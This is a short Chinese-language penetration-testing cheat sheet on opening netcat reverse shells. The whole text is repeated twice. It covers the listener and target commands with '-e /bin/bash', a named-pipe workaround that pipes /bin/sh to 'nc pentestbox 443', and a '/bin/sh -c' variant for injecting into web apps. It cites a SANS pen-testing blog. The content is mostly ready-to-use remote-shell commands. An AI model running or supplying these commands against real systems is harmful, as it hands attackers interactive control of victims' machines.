注意:如果想要在小于1024的端口做监听,那么需要root权限
一)通用场合
1. 自己机器:nc —nvlp 443
2. 目标机:nc attacker'sIP 443 —e /bin/bash
-n:不解析域名 -v:显示连接信息 -l:处于监听状态 -p:端口号(有时需要单独把-p选项拿出来)
二)如果不支持-e选项:如果代码编译的时候没有指定GAPING_SECURITY_HOLE,那么将不会支持-e选项。
1. nc —nvlp 443
2. 目标机:
victim$ mknod /tmp/backpipe p
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe
通过mknod创建一个命名管道(FIFO)backpipe,p指定管道类型。相应的我们可以使用mkfifo来创建一个命名管道,这样可以省略p选项。大多数shell可以省略 0<和1>,但是有些诡异的shell,必须使用0<和1>。
三)如果可以注入命令,但是没有shell(有时这种状况出现在一些web app),这时需要自己调用/bin/shell,然后使用-c参数来调用命令(另一个shell),然后重定向到netcat。通过如下命令注入。
/bin/sh —c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"
http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem
一)通用场合
1. 自己机器:nc —nvlp 443
2. 目标机:nc attacker'sIP 443 —e /bin/bash
-n:不解析域名 -v:显示连接信息 -l:处于监听状态 -p:端口号(有时需要单独把-p选项拿出来)
二)如果不支持-e选项:如果代码编译的时候没有指定GAPING_SECURITY_HOLE,那么将不会支持-e选项。
1. nc —nvlp 443
2. 目标机:
victim$ mknod /tmp/backpipe p
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe
通过mknod创建一个命名管道(FIFO)backpipe,p指定管道类型。相应的我们可以使用mkfifo来创建一个命名管道,这样可以省略p选项。大多数shell可以省略 0<和1>,但是有些诡异的shell,必须使用0<和1>。
三)如果可以注入命令,但是没有shell(有时这种状况出现在一些web app),这时需要自己调用/bin/shell,然后使用-c参数来调用命令(另一个shell),然后重定向到netcat。通过如下命令注入。
/bin/sh —c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"
http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem